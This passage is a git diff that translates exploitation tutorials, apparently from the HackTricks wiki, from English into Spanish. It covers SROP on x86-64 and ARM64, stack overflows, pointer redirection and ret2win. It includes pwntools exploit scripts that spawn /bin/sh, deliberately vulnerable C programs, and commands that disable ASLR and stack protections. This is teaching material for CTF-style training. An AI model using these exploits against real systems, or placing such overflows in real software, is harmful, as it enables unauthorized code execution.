x2, [sp, #0xe0] ; +blr x5 ;Move execve syscall (0xdd) to x8 and call it 0x00000000000bb97c : - nop ; - nop ; - mov x8, #0xdd ; - svc #0 +nop ; +nop ; +mov x8, #0xdd ; +svc #0 ``` - -With the previous gadgets we can control all the needed registers from the stack and use x5 to jump to the second gadget to call the syscall. +Con los gadgets anteriores, podemos controlar todos los registros necesarios desde la pila y usar x5 para saltar al segundo gadget para llamar a la syscall. > [!TIP] -> Note that knowing this info from the libc library also allows to do a ret2libc attack, but lets use it for this current example. +> Tenga en cuenta que conocer esta información de la biblioteca libc también permite realizar un ataque ret2libc, pero usemos esto para el ejemplo actual. ### Exploit - ```python from pwn import * @@ -124,5 +117,4 @@ p.sendline(payload) p.interactive() ``` - {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/README.md b/src/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/README.md index 20e07f3f2..bc189bcfb 100644 --- a/src/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/README.md +++ b/src/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/README.md @@ -1,26 +1,25 @@ -# SROP - Sigreturn-Oriented Programming +# SROP - Programación Orientada a Señales {{#include ../../../banners/hacktricks-training.md}} -## Basic Information +## Información Básica -**`Sigreturn`** is a special **syscall** that's primarily used to clean up after a signal handler has completed its execution. Signals are interruptions sent to a program by the operating system, often to indicate that some exceptional situation has occurred. When a program receives a signal, it temporarily pauses its current work to handle the signal with a **signal handler**, a special function designed to deal with signals. +**`Sigreturn`** es una **syscall** especial que se utiliza principalmente para limpiar después de que un manejador de señales ha completado su ejecución. Las señales son interrupciones enviadas a un programa por el sistema operativo, a menudo para indicar que ha ocurrido alguna situación excepcional. Cuando un programa recibe una señal, pausa temporalmente su trabajo actual para manejar la señal con un **manejador de señales**, una función especial diseñada para tratar con señales. -After the signal handler finishes, the program needs to **resume its previous state** as if nothing happened. This is where **`sigreturn`** comes into play. It helps the program to **return from the signal handler** and restores the program's state by cleaning up the stack frame (the section of memory that stores function calls and local variables) that was used by the signal handler. +Después de que el manejador de señales termina, el programa necesita **reanudar su estado anterior** como si nada hubiera pasado. Aquí es donde **`sigreturn`** entra en juego. Ayuda al programa a **volver del manejador de señales** y restaura el estado del programa limpiando el marco de pila (la sección de memoria que almacena llamadas a funciones y variables locales) que fue utilizado por el manejador de señales. -The interesting part is how **`sigreturn`** restores the program's state: it does so by storing **all the CPU's register values on the stack.** When the signal is no longer blocked, **`sigreturn` pops these values off the stack**, effectively resetting the CPU's registers to their state before the signal was handled. This includes the stack pointer register (RSP), which points to the current top of the stack. +La parte interesante es cómo **`sigreturn`** restaura el estado del programa: lo hace almacenando **todos los valores de los registros de la CPU en la pila.** Cuando la señal ya no está bloqueada, **`sigreturn` saca estos valores de la pila**, restableciendo efectivamente los registros de la CPU a su estado antes de que se manejara la señal. Esto incluye el registro del puntero de pila (RSP), que apunta a la parte superior actual de la pila. > [!CAUTION] -> Calling the syscall **`sigreturn`** from a ROP chain and **adding the registry values** we would like it to load in the **stack** it's possible to **control** all the register values and therefore **call** for example the syscall `execve` with `/bin/sh`. +> Llamar a la syscall **`sigreturn`** desde una cadena ROP y **agregar los valores de registro** que nos gustaría que cargara en la **pila** es posible para **controlar** todos los valores de registro y, por lo tanto, **llamar** por ejemplo a la syscall `execve` con `/bin/sh`. -Note how this would be a **type of Ret2syscall** that makes much easier to control params to call other Ret2syscalls: +Nota cómo esto sería un **tipo de Ret2syscall** que facilita mucho el control de parámetros para llamar a otras Ret2syscalls: {{#ref}} ../rop-syscall-execv/ {{#endref}} -If you are curious this is the **sigcontext structure** stored in the stack to later recover the values (diagram from [**here**](https://guyinatuxedo.github.io/16-srop/backdoor_funsignals/index.html)): - +Si tienes curiosidad, esta es la **estructura sigcontext** almacenada en la pila para recuperar más tarde los valores (diagrama de [**aquí**](https://guyinatuxedo.github.io/16-srop/backdoor_funsignals/index.html)): ``` +--------------------+--------------------+ | rt_sigeturn() | uc_flags | @@ -56,15 +55,13 @@ If you are curious this is the **sigcontext structure** stored in the stack to l | __reserved | sigmask | +--------------------+--------------------+ ``` - -For a better explanation check also: +Para una mejor explicación, consulta también: {% embed url="https://youtu.be/ADULSwnQs-s?feature=shared" %} -## Example - -You can [**find an example here**](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop/using-srop) where the call to signeturn is constructed via ROP (putting in rxa the value `0xf`), although this is the final exploit from there: +## Ejemplo +Puedes [**encontrar un ejemplo aquí**](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop/using-srop) donde la llamada a signeturn se construye a través de ROP (poniendo en rxa el valor `0xf`), aunque este es el exploit final desde allí: ```python from pwn import * @@ -91,9 +88,7 @@ payload += bytes(frame) p.sendline(payload) p.interactive() ``` - -Check also the [**exploit from here**](https://guyinatuxedo.github.io/16-srop/csaw19_smallboi/index.html) where the binary was already calling `sigreturn` and therefore it's not needed to build that with a **ROP**: - +Revisa también el [**exploit desde aquí**](https://guyinatuxedo.github.io/16-srop/csaw19_smallboi/index.html) donde el binario ya estaba llamando a `sigreturn` y por lo tanto no es necesario construir eso con un **ROP**: ```python from pwn import * @@ -126,20 +121,19 @@ target.sendline(payload) # Send the target payload # Drop to an interactive shell target.interactive() ``` - -## Other Examples & References +## Otros Ejemplos y Referencias - [https://youtu.be/ADULSwnQs-s?feature=shared](https://youtu.be/ADULSwnQs-s?feature=shared) - [https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop) - [https://guyinatuxedo.github.io/16-srop/backdoor_funsignals/index.html](https://guyinatuxedo.github.io/16-srop/backdoor_funsignals/index.html) - - Assembly binary that allows to **write to the stack** and then calls the **`sigreturn`** syscall. It's possible to write on the stack a [**ret2syscall**](../rop-syscall-execv/) via a **sigreturn** structure and read the flag which is inside the memory of the binary. +- Binario de ensamblaje que permite **escribir en la pila** y luego llama a la syscall **`sigreturn`**. Es posible escribir en la pila un [**ret2syscall**](../rop-syscall-execv/) a través de una estructura **sigreturn** y leer la bandera que está dentro de la memoria del binario. - [https://guyinatuxedo.github.io/16-srop/csaw19_smallboi/index.html](https://guyinatuxedo.github.io/16-srop/csaw19_smallboi/index.html) - - Assembly binary that allows to **write to the stack** and then calls the **`sigreturn`** syscall. It's possible to write on the stack a [**ret2syscall**](../rop-syscall-execv/) via a **sigreturn** structure (the binary has the string `/bin/sh`). +- Binario de ensamblaje que permite **escribir en la pila** y luego llama a la syscall **`sigreturn`**. Es posible escribir en la pila un [**ret2syscall**](../rop-syscall-execv/) a través de una estructura **sigreturn** (el binario tiene la cadena `/bin/sh`). - [https://guyinatuxedo.github.io/16-srop/inctf17_stupidrop/index.html](https://guyinatuxedo.github.io/16-srop/inctf17_stupidrop/index.html) - - 64 bits, no relro, no canary, nx, no pie. Simple buffer overflow abusing `gets` function with lack of gadgets that performs a [**ret2syscall**](../rop-syscall-execv/). The ROP chain writes `/bin/sh` in the `.bss` by calling gets again, it abuses the **`alarm`** function to set eax to `0xf` to call a **SROP** and execute a shell. +- 64 bits, sin relro, sin canario, nx, sin pie. Desbordamiento de búfer simple abusando de la función `gets` con falta de gadgets que realiza un [**ret2syscall**](../rop-syscall-execv/). La cadena ROP escribe `/bin/sh` en la `.bss` llamando a gets nuevamente, abusa de la función **`alarm`** para establecer eax en `0xf` para llamar a un **SROP** y ejecutar un shell. - [https://guyinatuxedo.github.io/16-srop/swamp19_syscaller/index.html](https://guyinatuxedo.github.io/16-srop/swamp19_syscaller/index.html) - - 64 bits assembly program, no relro, no canary, nx, no pie. The flow allows to write in the stack, control several registers, and call a syscall and then it calls `exit`. The selected syscall is a `sigreturn` that will set registries and move `eip` to call a previous syscall instruction and run `memprotect` to set the binary space to `rwx` and set the ESP in the binary space. Following the flow, the program will call read intro ESP again, but in this case ESP will be pointing to the next intruction so passing a shellcode will write it as the next instruction and execute it. +- Programa de ensamblaje de 64 bits, sin relro, sin canario, nx, sin pie. El flujo permite escribir en la pila, controlar varios registros y llamar a una syscall y luego llama a `exit`. La syscall seleccionada es un `sigreturn` que establecerá registros y moverá `eip` para llamar a una instrucción de syscall anterior y ejecutar `memprotect` para establecer el espacio binario en `rwx` y establecer el ESP en el espacio binario. Siguiendo el flujo, el programa llamará a read en ESP nuevamente, pero en este caso ESP apuntará a la siguiente instrucción, por lo que pasar un shellcode lo escribirá como la siguiente instrucción y lo ejecutará. - [https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/sigreturn-oriented-programming-srop#disable-stack-protection](https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/sigreturn-oriented-programming-srop#disable-stack-protection) - - SROP is used to give execution privileges (memprotect) to the place where a shellcode was placed. +- SROP se utiliza para otorgar privilegios de ejecución (memprotect) al lugar donde se colocó un shellcode. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/srop-arm64.md b/src/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/srop-arm64.md index ad3191732..f2fc9cdd6 100644 --- a/src/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/srop-arm64.md +++ b/src/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/srop-arm64.md @@ -2,10 +2,9 @@ {{#include ../../../banners/hacktricks-training.md}} -## Pwntools example - -This example is creating the vulnerable binary and exploiting it. The binary **reads into the stack** and then calls **`sigreturn`**: +## Ejemplo de Pwntools +Este ejemplo crea el binario vulnerable y lo explota. El binario **lee en la pila** y luego llama a **`sigreturn`**: ```python from pwn import * @@ -33,55 +32,49 @@ p = process(binary.path) p.send(bytes(frame)) p.interactive() ``` +## ejemplo de bof -## bof example - -### Code - +### Código ```c #include #include #include void do_stuff(int do_arg){ - if (do_arg == 1) - __asm__("mov x8, 0x8b; svc 0;"); - return; +if (do_arg == 1) +__asm__("mov x8, 0x8b; svc 0;"); +return; } char* vulnerable_function() { - char buffer[64]; - read(STDIN_FILENO, buffer, 0x1000); // <-- bof vulnerability +char buffer[64]; +read(STDIN_FILENO, buffer, 0x1000); // <-- bof vulnerability - return buffer; +return buffer; } char* gen_stack() { - char use_stack[0x2000]; - strcpy(use_stack, "Hello, world!"); - char* b = vulnerable_function(); - return use_stack; +char use_stack[0x2000]; +strcpy(use_stack, "Hello, world!"); +char* b = vulnerable_function(); +return use_stack; } int main(int argc, char **argv) { - char* b = gen_stack(); - do_stuff(2); - return 0; +char* b = gen_stack(); +do_stuff(2); +return 0; } ``` - -Compile it with: - +Compílalo con: ```bash clang -o srop srop.c -fno-stack-protector echo 0 | sudo tee /proc/sys/kernel/randomize_va_space # Disable ASLR ``` - ## Exploit -The exploit abuses the bof to return to the call to **`sigreturn`** and prepare the stack to call **`execve`** with a pointer to `/bin/sh`. - +El exploit abusa del bof para regresar a la llamada a **`sigreturn`** y preparar la pila para llamar a **`execve`** con un puntero a `/bin/sh`. ```python from pwn import * @@ -110,44 +103,40 @@ payload += bytes(frame) p.sendline(payload) p.interactive() ``` +## ejemplo de bof sin sigreturn -## bof example without sigreturn - -### Code - +### Código ```c #include #include #include char* vulnerable_function() { - char buffer[64]; - read(STDIN_FILENO, buffer, 0x1000); // <-- bof vulnerability +char buffer[64]; +read(STDIN_FILENO, buffer, 0x1000); // <-- bof vulnerability - return buffer; +return buffer; } char* gen_stack() { - char use_stack[0x2000]; - strcpy(use_stack, "Hello, world!"); - char* b = vulnerable_function(); - return use_stack; +char use_stack[0x2000]; +strcpy(use_stack, "Hello, world!"); +char* b = vulnerable_function(); +return use_stack; } int main(int argc, char **argv) { - char* b = gen_stack(); - return 0; +char* b = gen_stack(); +return 0; } ``` - ## Exploit -In the section **`vdso`** it's possible to find a call to **`sigreturn`** in the offset **`0x7b0`**: +En la sección **`vdso`** es posible encontrar una llamada a **`sigreturn`** en el offset **`0x7b0`**:
-Therefore, if leaked, it's possible to **use this address to access a `sigreturn`** if the binary isn't loading it: - +Por lo tanto, si se filtra, es posible **usar esta dirección para acceder a un `sigreturn`** si el binario no lo está cargando: ```python from pwn import * @@ -176,14 +165,13 @@ payload += bytes(frame) p.sendline(payload) p.interactive() ``` - -For more info about vdso check: +Para más información sobre vdso, consulta: {{#ref}} ../ret2vdso.md {{#endref}} -And to bypass the address of `/bin/sh` you could create several env variables pointing to it, for more info: +Y para eludir la dirección de `/bin/sh`, podrías crear varias variables de entorno que apunten a ella, para más información: {{#ref}} ../../common-binary-protections-and-bypasses/aslr/ diff --git a/src/binary-exploitation/stack-overflow/README.md b/src/binary-exploitation/stack-overflow/README.md index 6de6060f2..06c81506e 100644 --- a/src/binary-exploitation/stack-overflow/README.md +++ b/src/binary-exploitation/stack-overflow/README.md @@ -2,37 +2,34 @@ {{#include ../../banners/hacktricks-training.md}} -## What is a Stack Overflow +## Qué es un Stack Overflow -A **stack overflow** is a vulnerability that occurs when a program writes more data to the stack than it is allocated to hold. This excess data will **overwrite adjacent memory space**, leading to the corruption of valid data, control flow disruption, and potentially the execution of malicious code. This issue often arises due to the use of unsafe functions that do not perform bounds checking on input. +Un **stack overflow** es una vulnerabilidad que ocurre cuando un programa escribe más datos en la pila de los que se le ha asignado para contener. Estos datos en exceso **sobrescribirán el espacio de memoria adyacente**, lo que llevará a la corrupción de datos válidos, interrupción del flujo de control y potencialmente a la ejecución de código malicioso. Este problema a menudo surge debido al uso de funciones inseguras que no realizan verificación de límites en la entrada. -The main problem of this overwrite is that the **saved instruction pointer (EIP/RIP)** and the **saved base pointer (EBP/RBP)** to return to the previous function are **stored on the stack**. Therefore, an attacker will be able to overwrite those and **control the execution flow of the program**. +El principal problema de esta sobrescritura es que el **puntero de instrucción guardado (EIP/RIP)** y el **puntero base guardado (EBP/RBP)** para regresar a la función anterior están **almacenados en la pila**. Por lo tanto, un atacante podrá sobrescribir esos y **controlar el flujo de ejecución del programa**. -The vulnerability usually arises because a function **copies inside the stack more bytes than the amount allocated for it**, therefore being able to overwrite other parts of the stack. +La vulnerabilidad generalmente surge porque una función **copia dentro de la pila más bytes de la cantidad asignada para ella**, por lo tanto, siendo capaz de sobrescribir otras partes de la pila. -Some common functions vulnerable to this are: **`strcpy`, `strcat`, `sprintf`, `gets`**... Also, functions like **`fgets`** , **`read` & `memcpy`** that take a **length argument**, might be used in a vulnerable way if the specified length is greater than the allocated one. - -For example, the following functions could be vulnerable: +Algunas funciones comunes vulnerables a esto son: **`strcpy`, `strcat`, `sprintf`, `gets`**... Además, funciones como **`fgets`**, **`read` & `memcpy`** que toman un **argumento de longitud**, podrían usarse de manera vulnerable si la longitud especificada es mayor que la asignada. +Por ejemplo, las siguientes funciones podrían ser vulnerables: ```c void vulnerable() { - char buffer[128]; - printf("Enter some text: "); - gets(buffer); // This is where the vulnerability lies - printf("You entered: %s\n", buffer); +char buffer[128]; +printf("Enter some text: "); +gets(buffer); // This is where the vulnerability lies +printf("You entered: %s\n", buffer); } ``` +### Encontrando los offsets de Stack Overflows -### Finding Stack Overflows offsets +La forma más común de encontrar desbordamientos de pila es dar una entrada muy grande de `A`s (por ejemplo, `python3 -c 'print("A"*1000)'`) y esperar un `Segmentation Fault` que indique que se intentó acceder a la **dirección `0x41414141`**. -The most common way to find stack overflows is to give a very big input of `A`s (e.g. `python3 -c 'print("A"*1000)'`) and expect a `Segmentation Fault` indicating that the **address `0x41414141` was tried to be accessed**. +Además, una vez que encuentres que hay una vulnerabilidad de Stack Overflow, necesitarás encontrar el offset hasta que sea posible **sobrescribir la dirección de retorno**, para esto se suele usar una **secuencia de De Bruijn.** La cual, para un alfabeto dado de tamaño _k_ y subsecuencias de longitud _n_, es una **secuencia cíclica en la que cada posible subsecuencia de longitud \_n**\_\*\* aparece exactamente una vez\*\* como una subsecuencia contigua. -Moreover, once you found that there is Stack Overflow vulnerability you will need to find the offset until it's possible to **overwrite the return address**, for this it's usually used a **De Bruijn sequence.** Which for a given alphabet of size _k_ and subsequences of length _n_ is a **cyclic sequence in which every possible subsequence of length \_n**\_\*\* appears exactly once\*\* as a contiguous subsequence. - -This way, instead of needing to figure out which offset is needed to control the EIP by hand, it's possible to use as padding one of these sequences and then find the offset of the bytes that ended overwriting it. - -It's possible to use **pwntools** for this: +De esta manera, en lugar de necesitar averiguar manualmente qué offset se necesita para controlar el EIP, es posible usar como relleno una de estas secuencias y luego encontrar el offset de los bytes que terminaron sobrescribiéndola. +Es posible usar **pwntools** para esto: ```python from pwn import * @@ -44,58 +41,55 @@ eip_value = p32(0x6161616c) offset = cyclic_find(eip_value) # Finds the offset of the sequence in the De Bruijn pattern print(f"The offset is: {offset}") ``` - -or **GEF**: - +o **GEF**: ```bash #Patterns pattern create 200 #Generate length 200 pattern pattern search "avaaawaa" #Search for the offset of that substring pattern search $rsp #Search the offset given the content of $rsp ``` +## Explotación de desbordamientos de pila -## Exploiting Stack Overflows +Durante un desbordamiento (suponiendo que el tamaño del desbordamiento sea lo suficientemente grande) podrás **sobrescribir** valores de variables locales dentro de la pila hasta alcanzar el **EBP/RBP y EIP/RIP guardados (o incluso más)**.\ +La forma más común de abusar de este tipo de vulnerabilidad es **modificando la dirección de retorno** para que cuando la función termine, el **flujo de control se redirija a donde el usuario especificó** en este puntero. -During an overflow (supposing the overflow size if big enough) you will be able to **overwrite** values of local variables inside the stack until reaching the saved **EBP/RBP and EIP/RIP (or even more)**.\ -The most common way to abuse this type of vulnerability is by **modifying the return address** so when the function ends the **control flow will be redirected wherever the user specified** in this pointer. - -However, in other scenarios maybe just **overwriting some variables values in the stack** might be enough for the exploitation (like in easy CTF challenges). +Sin embargo, en otros escenarios, tal vez solo **sobrescribir algunos valores de variables en la pila** podría ser suficiente para la explotación (como en desafíos CTF fáciles). ### Ret2win -In this type of CTF challenges, there is a **function** **inside** the binary that is **never called** and that **you need to call in order to win**. For these challenges you just need to find the **offset to overwrite the return address** and **find the address of the function** to call (usually [**ASLR**](../common-binary-protections-and-bypasses/aslr/) would be disabled) so when the vulnerable function returns, the hidden function will be called: +En este tipo de desafíos CTF, hay una **función** **dentro** del binario que **nunca se llama** y que **necesitas llamar para ganar**. Para estos desafíos solo necesitas encontrar el **desplazamiento para sobrescribir la dirección de retorno** y **encontrar la dirección de la función** a llamar (generalmente [**ASLR**](../common-binary-protections-and-bypasses/aslr/) estaría deshabilitado) para que cuando la función vulnerable regrese, se llame a la función oculta: {{#ref}} ret2win/ {{#endref}} -### Stack Shellcode +### Shellcode en la pila -In this scenario the attacker could place a shellcode in the stack and abuse the controlled EIP/RIP to jump to the shellcode and execute arbitrary code: +En este escenario, el atacante podría colocar un shellcode en la pila y abusar del EIP/RIP controlado para saltar al shellcode y ejecutar código arbitrario: {{#ref}} stack-shellcode/ {{#endref}} -### ROP & Ret2... techniques +### Técnicas ROP y Ret2... -This technique is the fundamental framework to bypass the main protection to the previous technique: **No executable stack (NX)**. And it allows to perform several other techniques (ret2lib, ret2syscall...) that will end executing arbitrary commands by abusing existing instructions in the binary: +Esta técnica es el marco fundamental para eludir la principal protección de la técnica anterior: **Pila no ejecutable (NX)**. Y permite realizar varias otras técnicas (ret2lib, ret2syscall...) que terminarán ejecutando comandos arbitrarios al abusar de instrucciones existentes en el binario: {{#ref}} ../rop-return-oriented-programing/ {{#endref}} -## Heap Overflows +## Desbordamientos de heap -An overflow is not always going to be in the stack, it could also be in the **heap** for example: +Un desbordamiento no siempre va a estar en la pila, también podría estar en el **heap**, por ejemplo: {{#ref}} ../libc-heap/heap-overflow.md {{#endref}} -## Types of protections +## Tipos de protecciones -There are several protections trying to prevent the exploitation of vulnerabilities, check them in: +Hay varias protecciones que intentan prevenir la explotación de vulnerabilidades, consúltalas en: {{#ref}} ../common-binary-protections-and-bypasses/ diff --git a/src/binary-exploitation/stack-overflow/pointer-redirecting.md b/src/binary-exploitation/stack-overflow/pointer-redirecting.md index f92bebd28..7a6158dca 100644 --- a/src/binary-exploitation/stack-overflow/pointer-redirecting.md +++ b/src/binary-exploitation/stack-overflow/pointer-redirecting.md @@ -1,28 +1,28 @@ -# Pointer Redirecting +# Redirección de Punteros {{#include ../../banners/hacktricks-training.md}} -## String pointers +## Punteros de cadena -If a function call is going to use an address of a string that is located in the stack, it's possible to abuse the buffer overflow to **overwrite this address** and put an **address to a different string** inside the binary. +Si una llamada a función va a usar una dirección de una cadena que se encuentra en la pila, es posible abusar del desbordamiento de búfer para **sobrescribir esta dirección** y poner una **dirección a una cadena diferente** dentro del binario. -If for example a **`system`** function call is going to **use the address of a string to execute a command**, an attacker could place the **address of a different string in the stack**, **`export PATH=.:$PATH`** and create in the current directory an **script with the name of the first letter of the new string** as this will be executed by the binary. +Si, por ejemplo, una llamada a la función **`system`** va a **usar la dirección de una cadena para ejecutar un comando**, un atacante podría colocar la **dirección de una cadena diferente en la pila**, **`export PATH=.:$PATH`** y crear en el directorio actual un **script con el nombre de la primera letra de la nueva cadena** ya que esto será ejecutado por el binario. -You can find an **example** of this in: +Puedes encontrar un **ejemplo** de esto en: - [https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/strptr.c](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/strptr.c) - [https://guyinatuxedo.github.io/04-bof_variable/tw17_justdoit/index.html](https://guyinatuxedo.github.io/04-bof_variable/tw17_justdoit/index.html) - - 32bit, change address to flags string in the stack so it's printed by `puts` +- 32bit, cambiar la dirección a la cadena de flags en la pila para que sea impresa por `puts` -## Function pointers +## Punteros de función -Same as string pointer but applying to functions, if the **stack contains the address of a function** that will be called, it's possible to **change it** (e.g. to call **`system`**). +Lo mismo que el puntero de cadena pero aplicándose a funciones, si la **pila contiene la dirección de una función** que será llamada, es posible **cambiarla** (por ejemplo, para llamar a **`system`**). -You can find an example in: +Puedes encontrar un ejemplo en: - [https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/funcptr.c](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/funcptr.c) -## References +## Referencias - [https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#pointer-redirecting](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#pointer-redirecting) diff --git a/src/binary-exploitation/stack-overflow/ret2win/README.md b/src/binary-exploitation/stack-overflow/ret2win/README.md index 0cad69c6d..0e02e802b 100644 --- a/src/binary-exploitation/stack-overflow/ret2win/README.md +++ b/src/binary-exploitation/stack-overflow/ret2win/README.md @@ -2,49 +2,44 @@ {{#include ../../../banners/hacktricks-training.md}} -## Basic Information +## Información Básica -**Ret2win** challenges are a popular category in **Capture The Flag (CTF)** competitions, particularly in tasks that involve **binary exploitation**. The goal is to exploit a vulnerability in a given binary to execute a specific, uninvoked function within the binary, often named something like `win`, `flag`, etc. This function, when executed, usually prints out a flag or a success message. The challenge typically involves overwriting the **return address** on the stack to divert execution flow to the desired function. Here's a more detailed explanation with examples: +Los desafíos de **Ret2win** son una categoría popular en las competiciones de **Capture The Flag (CTF)**, particularmente en tareas que involucran **binary exploitation**. El objetivo es explotar una vulnerabilidad en un binario dado para ejecutar una función específica, no invocada, dentro del binario, a menudo llamada algo como `win`, `flag`, etc. Esta función, cuando se ejecuta, generalmente imprime una bandera o un mensaje de éxito. El desafío típicamente implica sobrescribir la **dirección de retorno** en la pila para desviar el flujo de ejecución a la función deseada. Aquí hay una explicación más detallada con ejemplos: -### C Example - -Consider a simple C program with a vulnerability and a `win` function that we intend to call: +### Ejemplo en C +Considera un programa simple en C con una vulnerabilidad y una función `win` que pretendemos llamar: ```c #include #include void win() { - printf("Congratulations! You've called the win function.\n"); +printf("Congratulations! You've called the win function.\n"); } void vulnerable_function() { - char buf[64]; - gets(buf); // This function is dangerous because it does not check the size of the input, leading to buffer overflow. +char buf[64]; +gets(buf); // This function is dangerous because it does not check the size of the input, leading to buffer overflow. } int main() { - vulnerable_function(); - return 0; +vulnerable_function(); +return 0; } ``` - -To compile this program without stack protections and with **ASLR** disabled, you can use the following command: - +Para compilar este programa sin protecciones de pila y con **ASLR** deshabilitado, puedes usar el siguiente comando: ```sh gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c ``` +- `-m32`: Compila el programa como un binario de 32 bits (esto es opcional pero común en desafíos CTF). +- `-fno-stack-protector`: Desactiva las protecciones contra desbordamientos de pila. +- `-z execstack`: Permite la ejecución de código en la pila. +- `-no-pie`: Desactiva el ejecutable independiente de la posición para asegurar que la dirección de la función `win` no cambie. +- `-o vulnerable`: Nombra el archivo de salida `vulnerable`. -- `-m32`: Compile the program as a 32-bit binary (this is optional but common in CTF challenges). -- `-fno-stack-protector`: Disable protections against stack overflows. -- `-z execstack`: Allow execution of code on the stack. -- `-no-pie`: Disable Position Independent Executable to ensure that the address of the `win` function does not change. -- `-o vulnerable`: Name the output file `vulnerable`. - -### Python Exploit using Pwntools - -For the exploit, we'll use **pwntools**, a powerful CTF framework for writing exploits. The exploit script will create a payload to overflow the buffer and overwrite the return address with the address of the `win` function. +### Python Exploit usando Pwntools +Para el exploit, utilizaremos **pwntools**, un potente marco CTF para escribir exploits. El script de exploit creará una carga útil para desbordar el búfer y sobrescribir la dirección de retorno con la dirección de la función `win`. ```python from pwn import * @@ -64,49 +59,46 @@ payload = b'A' * 68 + win_addr p.sendline(payload) p.interactive() ``` - -To find the address of the `win` function, you can use **gdb**, **objdump**, or any other tool that allows you to inspect binary files. For instance, with `objdump`, you could use: - +Para encontrar la dirección de la función `win`, puedes usar **gdb**, **objdump** o cualquier otra herramienta que te permita inspeccionar archivos binarios. Por ejemplo, con `objdump`, podrías usar: ```sh objdump -d vulnerable | grep win ``` +Este comando te mostrará el ensamblaje de la función `win`, incluyendo su dirección de inicio. -This command will show you the assembly of the `win` function, including its starting address. +El script de Python envía un mensaje cuidadosamente elaborado que, al ser procesado por la `vulnerable_function`, desborda el búfer y sobrescribe la dirección de retorno en la pila con la dirección de `win`. Cuando `vulnerable_function` retorna, en lugar de regresar a `main` o salir, salta a `win`, y se imprime el mensaje. -The Python script sends a carefully crafted message that, when processed by the `vulnerable_function`, overflows the buffer and overwrites the return address on the stack with the address of `win`. When `vulnerable_function` returns, instead of returning to `main` or exiting, it jumps to `win`, and the message is printed. +## Protecciones -## Protections +- [**PIE**](../../common-binary-protections-and-bypasses/pie/) **debe estar deshabilitado** para que la dirección sea confiable a través de ejecuciones o la dirección donde se almacenará la función no siempre será la misma y necesitarías alguna filtración para averiguar dónde se carga la función win. En algunos casos, cuando la función que causa el desbordamiento es `read` o similar, puedes hacer un **Partial Overwrite** de 1 o 2 bytes para cambiar la dirección de retorno a la función win. Debido a cómo funciona ASLR, los últimos tres nibble hexadecimales no están aleatorizados, por lo que hay una **1/16 de probabilidad** (1 nibble) de obtener la dirección de retorno correcta. +- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/) también deben estar deshabilitados o la dirección de retorno EIP comprometida nunca será seguida. -- [**PIE**](../../common-binary-protections-and-bypasses/pie/) **should be disabled** for the address to be reliable across executions or the address where the function will be stored won't be always the same and you would need some leak in order to figure out where is the win function loaded. In some cases, when the function that causes the overflow is `read` or similar, you can do a **Partial Overwrite** of 1 or 2 bytes to change the return address to be the win function. Because of how ASLR works, the last three hex nibbles are not randomized, so there is a **1/16 chance** (1 nibble) to get the correct return address. -- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/) should be also disabled or the compromised EIP return address won't never be followed. - -## Other examples & References +## Otros ejemplos y Referencias - [https://ir0nstone.gitbook.io/notes/types/stack/ret2win](https://ir0nstone.gitbook.io/notes/types/stack/ret2win) - [https://guyinatuxedo.github.io/04-bof_variable/tamu19_pwn1/index.html](https://guyinatuxedo.github.io/04-bof_variable/tamu19_pwn1/index.html) - - 32bit, no ASLR +- 32 bits, sin ASLR - [https://guyinatuxedo.github.io/05-bof_callfunction/csaw16_warmup/index.html](https://guyinatuxedo.github.io/05-bof_callfunction/csaw16_warmup/index.html) - - 64 bits with ASLR, with a leak of the bin address +- 64 bits con ASLR, con una filtración de la dirección binaria - [https://guyinatuxedo.github.io/05-bof_callfunction/csaw18_getit/index.html](https://guyinatuxedo.github.io/05-bof_callfunction/csaw18_getit/index.html) - - 64 bits, no ASLR +- 64 bits, sin ASLR - [https://guyinatuxedo.github.io/05-bof_callfunction/tu17_vulnchat/index.html](https://guyinatuxedo.github.io/05-bof_callfunction/tu17_vulnchat/index.html) - - 32 bits, no ASLR, double small overflow, first to overflow the stack and enlarge the size of the second overflow +- 32 bits, sin ASLR, desbordamiento pequeño doble, primero para desbordar la pila y aumentar el tamaño del segundo desbordamiento - [https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html) - - 32 bit, relro, no canary, nx, no pie, format string to overwrite the address `fflush` with the win function (ret2win) +- 32 bits, relro, sin canario, nx, sin pie, cadena de formato para sobrescribir la dirección `fflush` con la función win (ret2win) - [https://guyinatuxedo.github.io/15-partial_overwrite/tamu19_pwn2/index.html](https://guyinatuxedo.github.io/15-partial_overwrite/tamu19_pwn2/index.html) - - 32 bit, nx, 